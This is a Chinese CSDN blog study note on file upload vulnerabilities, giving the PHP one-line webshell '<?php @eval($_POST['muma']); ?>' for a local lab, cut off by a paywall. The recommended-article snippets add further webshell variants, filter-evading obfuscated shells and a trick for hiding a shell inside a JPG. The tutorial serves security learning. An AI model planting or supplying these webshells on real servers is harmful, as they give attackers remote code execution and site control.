文件上传+一句话木马（图文学习笔记）

最新推荐文章于 2024-08-06 22:50:12 发布
最新推荐文章于 2024-08-06 22:50:12 发布
阅读量4.3k 收藏 26
点赞数 4
文章标签： 1024程序员节 安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43236906/article/details/109263653
版权

文件上传+一句话木马（学习笔记）

漏洞描述

文件上传漏洞是指一些web应用程序中允许上传文本或其他指定资源到指定位置，上传漏洞顾名思义，就是攻击者上传了一个可执行文件如木马，病毒，恶意脚本，WebShell等到服务器执行，并最终获得网站控制权限的高危漏洞。（摘自百度搜索）
例如有一个网站会出现以下的操作让其上传文件等，可利用上传文件过滤不严谨来插入木马等。
在这里插入图片描述

一句话木马

以PHP举例

<?php @eval($_POST['muma']); ?>

eval（）函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST[‘muma’]表示从页面中获得muma这个参数值。

实验环境：windows2003，中国菜刀，phpstudy软件

实验过程（这是我个人的理解）：

一、首先模拟的是一个有上传漏洞的网站

1.首先在phpstudy下的www下创建一个用于上传文件的网页，模拟有上传漏洞的页面。叫做upload-file.html，页面展示如下以及页面代码（代码摘自一位大佬）：
在这里插入图片描述

<html>
<head>
最低0.47元/天 解锁文章
0_0qx
关注
[网络安全自学篇] 九十三.《Windows黑客编程技术详解》之木马开机自启动技术（注册表、计划任务、系统服务）
杨秀璋的专栏
08-15 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。这篇文章将带着大家来学习《Windows黑客编程技术详解》，其作者是甘迪文老师，推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享，并且会进一步补充知识点。第四篇文章主要介绍木马病毒自启动技术，包括注册表、快速启动目录、计划任务和系统服务，希望对您有所帮助。
[网络安全自学篇] 八十四.《Windows黑客编程技术详解》之VS环境配置、基础知识及DLL延迟加载详解（1）
杨秀璋的专栏
06-19 1万+
从这篇文章开始，作者将带着大家来学习《Windows黑客编程技术详解》，其作者是甘迪文老师，推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享，并且会进一步补充知识点。第一篇文章主要包括两部分内容，开发环境（VS、编译设置）、基础技术、运行单一实例（互斥对象示例）、DLL延迟加载（skin++换皮肤示例）、资源释放（MFC示例）。希望对您有所帮助~
文件上传（一句话木马）
kami_kami的博客
01-17 931
先写好一句话木马()(可先用记事本写,后将后缀改为php)，想办法将这个php文件上传到需要入侵的网站，上传成功后，打开蚁剑，新建数据，将网站的URL网址粘贴进去，再填入密码（上面木马的[]中的1即为密码，可自己设定），后点测试连接，成功后点添加。然后双击添加的数据即可访问网站对应的服务器，在其中可找到flag（一般在根目录下，根目录就是\）
上传图片格式一句话木马
weixin_46017292的博客
04-25 1万+
一、 随便找一张jpg图片 二、 新建一个txt文档 三、 在文本文档中写入一句话木马 本次实验使用的木马为password <?php @eval($_POST['密码']);?> 四、 写入完成后将后缀名.txt改为.php 五、 合并文件 通过CMD进入储存jpg文件和php文件的目录 命令格式： cd C:\muma 使用copy命令合并文件 命令格式： copy 图片.jpg/b + 木马.php/a 合成.jpg 最后输出合并的木马文件muma.jpg 六、 打开靶场登陆DVW
WebShell及一句话木马
最新发布
qq_67812668的博客
08-06 1059
1.一句话木马的原理将一句话木马插入到asp文件中（包括asa.cdx.cer文件），该语句将会作为触发，接收入侵者通过客户端提交的数据，执行并完成相应的入侵操作。客户端则用来向服务端提交控制数据，提交的数据通过服务端构成完整的asp功能语句并执行，也就是生成我们所需要的asp木马文件。 2.通常WebShell客户端怎么绕过WAF1).绕过前台脚本检测扩展名上传Webshell当用户在客户端上传文件的时候，客户端与服务器没有进行任何的信息交互，判断上传文件的类型是前台脚本文件来判断。
记一次对DZ的渗透.(一句话木马与图片,文件上传解析漏洞)
键盘的起始页
01-11 1721
文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的，“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。 文件上传后导致的常见安全问题一般有: 1)上传文件是Web脚本语言，服务器的Web容器解释并执行了用户上传的脚本，导致代码执行。 2)上传文件是Flash的策略文件crossdomain.xml，黑客用以控制Flash在该域下的行为（其他通过类似方式控制策
上传一句话木马时<? php被过滤的解决办法
ancan8807的博客
09-15 3060
i春秋“百度杯”CTF比赛 九月场 web题 upload 题目描述：想怎么传就怎么传，就是这么任性。tips:flag在flag.php中 打开题目发现 于是想到通过上传一句话木马进入后台 上传一句话木马 <?phpeval($_POST['ant']);?> 提示上传成功，查看网页源代码提示 php文件上传到u/antsword.php...
文件上传漏洞
ma963852的博客
02-28 1万+
文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。 文件上传漏洞一般都是指“上传Web脚本能够被服务器解析”的问题。
php网站上传木马,php一句话木马怎么上传
weixin_29955195的博客
03-09 2422
一句话木马上传常见的几种方法：1、利用00截断，brupsuite上传利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格，产生0X00上传截断漏洞。假设文件的上传路径为http://xx.xx.xx.xx/upfiles/lubr.php.jpg，通过Burpsuite抓包截断将lubr.php后面的“.”换成“0X00”。在上传的时候，当文件系统读到”0X00″时，会认为文件已经结束...
[网络安全自学篇] 九十二.《Windows黑客编程技术详解》之病毒启动技术创建进程API、突破SESSION0隔离、内存加载详解（3）
热门推荐
杨秀璋的专栏
07-27 2万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。这篇文章将带着大家来学习《Windows黑客编程技术详解》，其作者是甘迪文老师，推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享，并且会进一步补充知识点。第三篇文章主要介绍木马病毒启动技术，包括创建进程API、突破SESSION0隔离、内存加载详解，希望对您有所帮助。
[网络安全自学篇] 九十四.《Windows黑客编程技术详解》之提权技术（令牌权限提升和Bypass UAC）
杨秀璋的专栏
09-12 2万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。这篇文章将带着大家来学习《Windows黑客编程技术详解》，其作者是甘迪文老师，推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享，并且会进一步补充相关知识点。第六篇文章主要介绍木马病毒提权技术，包括进程访问令牌权限提升和Bypass UAC，希望对您有所帮助。
文件上传黑名单绕过
weixin_54105551的博客
09-07 1255
这一次过滤的更加彻底一些了，.htaccess格式的文件也做了过滤（最后一个，这里不好截图），但是也有一个缺点，没有统一后缀名，所以我们可以构造Php这种写法的后缀名来绕过黑名单过滤，没有特殊配置的情况下绕过方法对linux操作系统的服务器无法实现绕过，因为linux不区分大小写，只有Windows会忽略大小写，上传如下格式的文件至服务器中。这个时候我们上传的shell.jpg被当作php解析了，为了后面的操作，我们最好是先回到更目录，清除一下上传的文件。
各种一句话木马大全
一个运维菜鸡的博客
09-26 9669
在互联网发达的今天，各种水平的程序用应时而生，不注重安全，导致很多网站都被挂马（虚拟主机现在是个重灾区），这样的一句话后门是黑客最喜欢的，隐藏性好，这里将代码分享给大家，大家可以通过查找工具查找清理。         %> ""then session("c")=request("c"):end if:if session("c")    '备份专用   
python简单的病毒编程代码,python做杀毒软件代码
chatgpt002的博客
08-29 2335
这篇文章主要介绍了python简单的病毒编程代码，具有一定借鉴价值，需要的朋友可以参考下。希望大家阅读完这篇文章后大有收获，下面让小编带着大家一起了解一下。50次机会用完或点击”是“就会出现白屏（因为explorer进程被结束）不知道为啥，按win+Shift+S截不了图了，2、按下Ctrl+Alt+Delete组合键，选择任务管理器。点击 文件>运行新任务 输入explorer即可解决。1、强制关机重启（不建议）Python实现的小病毒。
python简单病毒代码
marshmello12的博客
05-28 7931
smiley made it right=)
史上最全一句话木马
hackzkaq的博客
06-29 7865
目录 PHP //可执行命令一句话 PHP系列 过狗一句话 几个变性的php–过防火墙 过狗效果都不错： 密码-7 ASP asp 一句话 ASP过安全狗一句话 ASPX系列 ASPX一句话的 过安全狗效果不怎么样不过我认为能支持aspx 百分之8/90支持asp aspx一句话 JSP 过护卫神的abc123456789原来代码是 把标签修改替换下来 为......
免杀一句话2
cc1988429的专栏
04-18 925
ASP系列         （密码是-7）     PHP系列             @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                   @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                   @$_/*-/*-*/(
牛逼的一句话木码
Daoke37的博客
05-10 329
//可执行命令一句话 普通一句话 <?php eval($_POST[cc123]) ?> <?php @eval($_POST['cc123']);?> PHP系列 <?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xindong"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['xindong']);?> <?php $k="as
写一个文件上传漏洞一句话木马
06-19
我不能提供关于创建或利用文件上传漏洞的任何指导，因为这种行为违反了网络安全规定和道德准则，可能导致未经授权的数据访问或系统破坏。安全专家强烈建议避免此类活动，而应该专注于学习并使用技术来保护系统免受...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值